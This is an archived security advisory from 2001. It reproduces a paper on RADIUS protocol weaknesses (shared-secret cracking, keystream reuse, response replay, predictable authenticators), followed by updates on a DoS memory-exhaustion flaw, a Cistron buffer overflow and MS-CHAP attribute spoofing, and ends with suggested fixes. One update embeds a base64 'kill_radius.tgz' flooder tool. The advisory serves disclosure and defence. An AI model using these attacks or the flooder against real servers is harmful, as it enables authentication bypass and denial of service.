13th Nov 2001 [SBWID-4853]
COMMAND
Radius protocol weakness, Radius client implementation
SYSTEMS AFFECTED
Radius
PROBLEM
Joshua Hill <josh-radius@untruth.org> from InfoGard Laboratories
[www.infogard.com] posted on
[http://www.untruth.org/~josh/security/radius], a detailed paper on
Radius weaknesses :
1 Introduction
RADIUS is a widely used protocol in network environments. It is
commonly used for embedded network devices such as routers, modem
servers, switches, etc. It is used for several reasons:
* The embedded systems generally cannot deal with a large number of
users with distinct authentication information. This requires more
storage than many embedded systems possess.
* RADIUS facilitates centralized user administration, which is
important for several of these applications. Many ISPs have tens
of thousands, hundreds of thousands, or even millions of users.
Users are added and deleted continuously throughout the day, and
user authentication information changes constantly. Centralized
administration of users in this setting is an operational
requirement.
* RADIUS consistently provides some level of protection against a
sniffing, active attacker. Other remote authentication protocols
provide either intermittent protection, inadequate protection or
non-existent protection. RADIUS\'s primary competition for remote
authentication is TACACS+ and LDAP. LDAP natively provides no
protection against sniffing or active attackers. TACACS+ is subtly
flawed, as discussed by Solar Designer in his advisory.
* RADIUS support is nearly omni-present. Other remote authentication
protocols do not have consistent support from hardware vendors,
whereas RADIUS is uniformly supported. Because the platforms on
which RADIUS is implemented on are often embedded systems, there
are limited opportunities to support additional protocols. Any
changes to the RADIUS protocol would have to be at least minimally
compatible with pre-existing (unmodified) RADIUS clients and
servers.
RADIUS is currently the de-facto standard for remote authentication. It
is very prevalent in both new and legacy systems.
1.1 Applicability
This analysis deals with some of the characteristics of the base RADIUS
protocol and of the User-Password attribute. Depending on the mode of
authentication used, the described User-Password weaknesses may or may
not compromise the security of the underlying authentication scheme. A
complete compromise of the User-Password attribute would result in the
complete compromise of the normal Username/Password or PAP
authentication schemes, because both of these systems include otherwise
unprotected authentication information in the User-Password attribute.
On the other hand when CHAP or a Challenge/Response system is in use, a
complete compromise of the User-Password attribute would only expose
the underlying CHAP or Challenge/Response information to additional
attack, which may or may not lead to a complete compromise of the
authentication system, depending on the strength of the underlying
authentication system.
This analysis does not cover the RADIUS protocol\'s accounting
functionality (which is, incidentally, also flawed, but normally
doesn\'t transport information that must be kept confidential).
2 Protocol Summary
A summary of the RADIUS packet is below (from the RFC):
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Code | Identifier | Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| |
| Authenticator |
| |
| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Attributes ...
+-+-+-+-+-+-+-+-+-+-+-+-+-
The code establishes the type of RADIUS packet. The codes are:
Value Description
1 Access-Request
2 Access-Accept
3 Access-Reject
4 Accounting-Request
5 Accounting-Response
11 Access-Challenge
12 Status-Server (experimental)
13 Status-Client (experimental)
255 Reserved
The identifier is a one octet value that allows the RADIUS client to
match a RADIUS response with the correct outstanding request.
The attributes section is where an arbitrary number of attribute fields
are stored. The only pertinent attributes for this discussion are the
User-Name and User-Password attributes.
This description will concentrate on the most common type of RADIUS
exchange: An Access-Request involving a username and user password,
followed by either an Access-Accept, Access-Reject or a failure. I will
refer to the two participants in this protocol as the client and the
server. The client is the entity that has authentication information
that it wishes to validate. The server is the entity that has access to
a database of authentication information that it can use to validate
the client\'s authentication request.
2.1 Initial Client Processing
The client creates an Access-Request RADIUS packet, including at least
the User-Name and User-Password attributes.
The Access-Request packet\'s identifier field is generated by the
client. The generation process for the identifier field is not
specified by the RADIUS protocol specification, but it is usually
implemented as a simple counter that is incremented for each request.
The Access-Request packet contains a 16 octet Request Authenticator in
the authenticator field. This Request authenticator is a randomly
chosen 16 octet string.
This packet is completely unprotected, except for the User-Password
attribute, which is protected as follows:
The client and server share a secret. That shared secret followed by
the Request Authenticator is put through an MD5 hash to create a 16
octet value which is XORed with the password entered by the user. If
the user password is greater than 16 octets, additional MD5
calculations are performed, using the previous ciphertext instead of
the Request Authenticator.
More formally:
Call the shared secret S and the pseudo-random 128-bit Request
Authenticator RA. The password is broken into 16-octet blocks p1, p2,
... pn, with the last block padded at the end with \'0\'s to a 16-octet
boundary. The ciphertext blocks are c1, c2... cn.
c1 = p1 XOR MD5(S + RA)
c2 = p2 XOR MD5(S + c1)
.
.
.
cn = pn XOR MD5(S + cn-1)
The User-Password attribute contains c1+c2+...+cn, Where + denotes
concatenation.
2.2 Server Processing
The server receives the RADIUS Access-Request packet and verifies that
the server possesses a shared secret for the client. If the server does
not possess a shared secret for the client, the request is silently
dropped.
Because the server also possesses the shared secret, it can go through
a slightly modified version of the client\'s protection process on the
User-Password attribute and obtain the unprotected password. It then
uses its authentication database to validate the username and password.
If the password is valid, the server creates an Access-Accept packet to
send back to the client. If the password is invalid, the server creates
an Access-Reject packet to send back to the client.
Both the Access-Accept packet and the Access-Reject packet use the same
identifier value from the client\'s Access-Request packet, and put a
Response Authenticator in the Authenticator field. The Response
Authenticator is the is the MD5 hash of the response packet with the
associated request packet\'s Request Authenticator in the Authenticator
field, concatenated with the shared secret.
That is, ResponseAuth =
MD5(Code+ID+Length+RequestAuth+Attributes+Secret) where + denotes
concatenation.
2.3 Client Post Processing
When the client receives a response packet, it attempts to match it
with an outstanding request using the identifier field. If the client
does not have an outstanding request using the same identifier, the
response is silently discarded. The client then verifies the Response
Authenticator by performing the same Response Authenticator calculation
the server performed, and then comparing the result with the
Authenticator field. If the Response Authenticator does not match, the
packet is silently discarded.
If the client received a verified Access-Accept packet, the username
and password are considered to be correct, and the user is
authenticated. If the client received a verified Access-Reject message,
the username and password are considered to be incorrect, and the user
is not authenticated.
3 RADIUS Issues
The RADIUS protocol has a set of vulnerabilities that are either caused
by the protocol or caused by poor client implementation and exacerbated
by the protocol. The vulnerabilities that follow arose during a
somewhat shallow exploration of the protocol; this is not expected to
be a complete list of vulnerabilities of the RADIUS protocol, these are
merely the vulnerabilities that presented themselves to the reviewer.
3.1 Response Authenticator Based Shared Secret Attack
The Response Authenticator is essentially an ad hoc MD5 based keyed
hash. This primitive facilitates an attack on the shared secret. If an
attacker observes a valid Access-Request packet and the associated
Access-Accept or Access-Reject packet, they can launch an off-line
exhaustive attack on the shared secret. The attacker can pre-compute
the MD5 state for (Code+ID+Length+RequestAuth+Attributes) and then
resume the hash once for each shared secret guess. The ability to
pre-compute the leading sections of this keyed hash primitive reduces
the computational requirements for a successful attack.
3.2 User-Password Attribute Cipher Design Comments
The User-Password protection scheme is a stream-cipher, where an MD5
hash is used as an ad hoc pseudorandom number generator (PRNG). The
first 16 octets of the stream cipher display the same properties as a
synchronous stream cipher. After the first 16 octets, the stream cipher
state integrates the previous ciphertext, and becomes more accurately
described as a self-synchronizing stream cipher.
The security of the cipher rests on the strength of MD5 for this type
of use and the selection of the shared secret. It is unclear what the
requirements for this cipher are, so it is unclear if the MD5 function
is appropriate for this use. MD5 is not designed to be a stream cipher
primitive, it is designed to be a cryptographic hash. This sort of
misuse of cryptographic primitives often leads to subtly flawed
systems.
3.3 User-Password Attribute Based Shared Secret Attack
Because of the selection of a stream cipher for protection of the
User-Password attribute, an attacker can gain information about the
Shared Secret if they can observe network traffic and attempt an
authentication. The attacker attempts to authenticate to the client
with a known password. The attacker then captures the resulting
Access-Request packet and XORs the protected portion of the
User-Password attribute with the password they provided to the client.
This results in the value of the MD5(Shared Secret + Request
Authenticator) operation. The Request Authenticator is known (it is in
the client\'s Access-Request packet), so the attacker can launch an
off-line exhaustive attack on the shared secret. Note, though, that the
attacker cannot pre-compute the MD5 state of the hash for the Request
Authenticator, because the Request Authenticator is hashed second.
3.4 User-Password Based Password Attack
The use of a stream cipher to protect the User-Password attribute
results in a vulnerability that allows an attacker to circumvent any
authentication rate limits imposed by the client. The attacker first
attempts to authenticate to the client using a valid username and a
known (and likely incorrect) user password. The attacker then captures
the resulting Access-Request packet and determines the result of the
MD5(Shared Secret + Request Authenticator) operation (in the same way
as in the previous attack). The attacker can then replay modified
Access-Request packets, using the same Request Authenticator and
MD5(Shared Secret + Request Authenticator) value, changing the password
(and the associated User-Password attribute) for each replay. If the
server does not impose user based rate limits, this will allow the
attacker to efficiently perform an exhaustive search for the correct
user password.
Note that the attacker can only use this method to attack passwords
that are 16 characters or less, as the User-Password protection
mechanism uses a chaining method that includes previous ciphertext in
the state after the first 16 octets of output.
Any sort of strong data authentication in the Access-Request packet
would make this attack impossible.
3.5 Request Authenticator Based Attacks
The security of RADIUS depends on the generation of the Request
Authenticator field. The Request Authenticator must be both unique and
non-predictable in order for the RADIUS implementation to be secure.
The RADIUS protocol specification does not emphasize the importance of
the Request Authenticator generation, so there are a large number of
implementations that use poor PRNGs to generate the Request
Authenticator. If the client uses a PRNG that repeats values (or has a
short cycle), the protocol ceases to provide the intended level of
protection.
The last two of these attacks require the attacker to cause the client
to produce a particular identifier value. This is generally not
particularly difficult, as identifiers were never meant as a security
feature. The actual method of identifier generation is not specified by
the protocol specification, but the most common method of generating
the identifier is to increment a one octet counter for each request,
and include the counter value as the identifier. Because the identifier
generation is normally deterministic, it often doesn\'t increase the
work factor very much at all. An attacker can insert a series of extra
requests to the client, forcing the desired identifier to reoccur much
more rapidly than it would normally. Even if the identifier were not
generated in a readily attackable way, it would still only increase the
work factor by 256 times.
3.5.1 Passive User-Password Compromise Through Repeated Request
Authenticators
If the attacker can sniff the traffic between the RADIUS client and the
RADIUS server, they can passively produce a dictionary of Request
Authenticators, and the associated (protected) User-Password
attributes. If the attacker observes a repeated Request Authenticator,
they can remove any influence of the Shared Secret from the first 16
octets of the passwords by XORing the first 16 octets of the protected
passwords together. This yields the first 16 octets of the two (now
unprotected) user passwords XORed together.
The impact of this attack varies according to how good the user
passwords are. If the users all chose random passwords of the same
length, the attacker can gain nothing because no information about
either password can be extracted. Unfortunately, this is a somewhat
unlikely occurrence. In reality, users choose passwords of varying
lengths (generally less than 16 characters) and of varying quality.
The easiest problem for the attacker to exploit is the case where the
two passwords are of different lengths. Ideally for the attacker, the
passwords are both less than 16 characters long and are significantly
different lengths. In this situation, one of the passwords has more
padding than the other, so the non-overlapping characters of the longer
password are XORed with \'0\' (the characters do not change). This
results in the non-overlapping characters of the longer password being
exposed to the attacker with no analysis.
More complex attacks are available if the attacker makes the assumption
that the users chose low-entropy passwords. In this situation, the
attacker can perform an intelligent dictionary attack guided by
statistical analysis of the overlapping region. This dictionary attack
can be further refined by noting the length of the two passwords and
the trailing portion of the longer password, and then only trying
passwords with this length and ending.
Even passwords longer than 16 characters are at risk from this attack,
because the attacker still gains information about the first 16
characters of the password. This provides a firm basis for later
attack, if nothing else.
3.5.2 Active User-Password Compromise through Repeated Request
Authenticators
The attacker can attempt to authenticate many times using known
passwords and intercept the generated Access-Request packets,
extracting the Request Authenticator and User-Password attributes. The
Attacker can then XOR the known password with the User-Password
attribute and be left with the MD5(Shared Secret + Request
Authenticator) value. The attacker generates a dictionary of Request
Authenticator values and associated MD5(Shared Secret + Request
Authenticator) values.
When the attacker sees a valid Access-Request packet that has a Request
Authenticator value that is in the attacker\'s dictionary, the attacker
can recover the first 16 octets from the protected region of the
User-Password field by looking up the associated MD5(Shared Secret +
Request Authenticator) value from the dictionary and XORing it with the
intercepted protected portion of the User-Password attribute.
3.5.3 Replay of Server Responses through Repeated Request Authenticators
The attacker can build a dictionary of Request Authenticators,
identifiers and associated server responses. When the attacker then
sees a request that uses a Request Authenticator (and associated
identifier) that is in the dictionary, the attacker can masquerade as
the server and replay the previously observed server response.
Further, if the attacker can attempt to authenticate, causing the
client to produce an Access-Request packet with the same Request
Authenticator and identifier as a previously observed successful
authentication, the attacker can replay the valid looking Access-Accept
server response and successfully authenticate to the client without
knowing a valid password.
3.5.4 DOS Arising from the Prediction of the Request Authenticator
If the attacker can predict future values of the Request Authenticator,
the attacker can pose as the client and create a dictionary of future
Request Authenticator values (with either the expected identifier, or
with every possible identifier) and associated (presumably
Access-Reject) server responses. The attacker can then masquerade as
the server and respond to the client\'s (possibly valid) requests with
valid looking Access-Reject packets, creating a denial of service.
3.6 Shared Secret Hygiene
The RADIUS standard specifically permits use of the same Shared Secret
by many clients. This is a very bad idea, as it provides attackers with
more data to work from and allows any flawed client to compromise
several machines. All RADIUS clients that possesses the same shared
secret can be viewed as a single RADIUS client for the purpose of all
these attacks, because no RADIUS protection is applied to the client or
server address.
Most client and server implementations only allow shared secrets to be
input as ASCII strings. There are only 94 different ASCII characters
that can be entered from a standard US style keyboard (out of the 256
possible). Many implementations also restrict the total length of the
shared secret to 16 characters or less. Both of these restrictions
artificially reduce the size of the keyspace that an attacker must
search in order to guess the shared secret.
4 Conclusions
4.1 Summary Findings
The RADIUS protocol has several interesting issues that arise from its
design. The design and policy characteristics that seem to be
principally responsible for the security problems are as follows:
* The User-Password protection technique is flawed in many ways. It
should not use a stream cipher, and it should not use MD5 as a
cipher primitive. (note 3.2; attacks 3.3, 3.4, 3.5.1, 3.5.2)
* The Response Authenticator is a good idea, but it is poorly
implemented. (attack 3.1)
* The Access-Request packet is not authenticated at all. (attack
3.4)
* Many client implementations do not create Request Authenticators
that are sufficiently random. (all attacks in 3.5)
* Many administrators choose RADIUS shared secrets with insufficient
information entropy. Many client and host implementations
artificially limit the shared secret key space. (note 3.6)
Update
======
3APA3A [http://www.security.nnov.ru] added :
There are more problems in RADIUS protocol and some of implementations:
1. There is no way RADIUS server can validate Access-Request packet
really originated by NAS (RADIUS client) before (and even after, if
packet has no User-Password attribute) decoding all attributes. It
opens a possibility to spoof source IP for this kind of packets. I
think this is a major weakness in RADIUS protocol rather then all hard-to-exploit
cryptographic M-i-t-M issues.
Example: according to RFC 2865 each RADIUS packet can be up to 4096
bytes. It allows to put > 2000 attributes into a single packet. Most
RADIUS servers implementations allocate maximum attribute length for
each attributes, it means for each attributes > 256 bytes of memory
will be allocated. So, it\'s possible to lock >512K of memory and amount
of CPU time with a single 4K packet. Nice possibility to DoS.
Attached is simple flooder to flood server with packets like this. It
doesn\'t spoof source IP, so it can only be used to test your RADIUS
server (you must use it from IP registered as NAS).
2. RFC 2865 requires unpredictability of authenticator value in
Authentication Request packet. Many RADIUS servers and client libraries
implementations do not follow it. Many of them have code like
srand(time(0) + getpid()) (or even srand(time(0)) + rand(). As you
know, the number of rand() states is very limited and it\'s easy to
predict the state of PRNG. It opens possibility to spoof NAS
Authentication Request.
For example Cistron RADIUS has this flow in proxy module. Many RADIUS
client libraries also have this flow.
3. Most of current freeware RADIUS server implementations (and some of
commerce ones) are derived from Cistron. And most of them (including
Cistron itself) have buffer overflow in digest calculation (in case of
Cistron itself it\'s static data overflow in calc_acctdigest()
function). This function adds shared secret to packet data to calculate
digest, but space for shared secret never allocated in buffer. If
packet is exactly of allocated size (in case of Cistron it\'s 1024 - they
do not exactly follow RFC) string pointer located after the buffer in
memory will be overwritten with shared secret. Probably this overflow
can only lead to DoS. Since overflow occurs before packet is checked,
it can be exploited from spoofed IP.
------------7E11520E3F0B8FBE
Content-Type: application/x-compressed; name=\"kill_radius.tgz\"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename=\"kill_radius.tgz\"
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
AA==
------------7E11520E3F0B8FBE--
Update
======
3APA3A [http://www.security.nnov.ru] added :
There is also problem with some vendor-specific RADIUS authentication
implementation. For example Microsoft has it\'s specific attributes defined
in RFC 2548. These attributes allow MS-CHAP and MS-CHAPv2 authentication
via RADIUS.
There is design flow in this authentication scenario which makes it vulnerable
against M-i-t-M attack.
As it was said before RADIUS uses some cryptographic schema to encrypt
User-Password or CHAP-Password attribute by XORing it with MD5 digest
obtained from message authenticator and shared secret.
Microsoft doesn\'t use same trick for it\'s MS-CHAP-Challenge,
MS-CHAP-Response and MS-CHAP2-Response attribute. This fact opens possibility
of both replay and spoof attack against MS-CHAP and MS-CHAPv2 authentication.
The only things attacker need to know are packet authenticator and MS-CHAP
attributes of any successfully authenticated packet (or _any_ valid user
account).
Scenario:
1. Attacker logs in to NAS with desired account+invalid password
(user1 + wrong password)
2. NAS sends authentication packet to RADIUS
3. Attacker changes MS-CHAP attributes (this can be attributes from
sniffed packet, that is MS-CHAP-Challenge + Response from previous
user1 logon or attacker can use attributes of known account, may be
guest).
4. RADIUS authenticates packet based on attributes provided by
attacker and sends Access-Accept to NAS.
5. NAS logons attacker as user1
MS-CHAPv2 is also vulnerable in same scenario.
If NAS has weak PRNG and it\'s possible to guess packet authenticator blindly
this attack can be turned from M-i-t-M to remote.
Note: this is not a software bug, this is design flow. This flow is not
in MS-CHAP (which is vulnerable to M-i-t-M attack itself) or in MS-CHAPv2
(which is immune to M-i-t-M). The flow is in the way MS-CHAP attributes
are used in RADIUS. This way is defined in RFC 2548.
RADIUS itself is vulnerable to same attack, in some cases it may allow
privilege escalation: for example user with only PPP access to NAS can
try to login to NAS via telnet and change Service-Type attribute of Access-Request
packet from Login to Framed to be authenticated by RADIUS. Everything
depends on RADIUS and NAS configuration (the good practice for RADIUS
server is always send back Service-Type attribute). If Access-Accept
doesn\'t contain Service-Type attribute or NAS doesn\'t check it - user
will be logged via telnet.
P.S. I think RADIUS must be treated as unsecure protocol, like LDAP or
SNMP, and never intended to be secure because of sensitive information
sent in cleartext. The perfect solution about RADIUS is to use it in conjunction
with IPSec, if RADIUS traffic cross untrusted network.
SOLUTION
Update
======
In short, Microsoft Security Response Center says that priviledge
elevation would require to be already Admin on the machine to work.
Editor\'s note : Although no parties provided code to proove right either way, Microsoft claims are somewhat dubious.
======
4.2 Suggested Protocol Additions
Selection of a well understood symmetric block cipher to protect the
user password would be good practice. A new User-Password like
attribute that uses an alternate encryption scheme should be created. I
suggest TDES (as specified in ANSI X9.52) used in CBC mode. If this new
attribute is used, the User-Password attribute should not be.
Ideally the block cipher would be keyed independently from the shared
secret, but this may prove unworkable for compatibility reasons.
Another option would be to key the cipher from some derived value of
the shared secret and the request authenticator. For instance the
cipher could be keyed from the output of an HMAC of the Request
Authenticator (where the HMAC is keyed by the shared secret) or by
seeding a cryptographic PRNG with the shared secret and the request
authenticator.
Instead of using an ad hoc keyed hash primitive in the Response
Authenticator, an accepted Message Authentication Code (MAC) should be
used. An HMAC would be an ideal choice for this primitive. In addition,
the Access-Request packet would benefit from authentication.
Though MD5 is a cryptographic hash that could be used in the HMAC
primitive, it has several significant attacks against it. The RADIUS
protocol would benefit from using SHA-1 instead of MD5 for HMACs.
In order to protect the Access-Request, Access-Accept and Access-Deny
packets, a new attribute should be created that contains a SHA-1-HMAC
of the entire RADIUS packet (with the SHA-1-HMAC attribute data set to
0). If this attribute is present, the receiving client or server should
compute the HMAC for the entire RADIUS packet (with the HMAC set to
zeros) and verify that the result is the same as the stored HMAC. If
the result is not the same, the packet should be discarded.
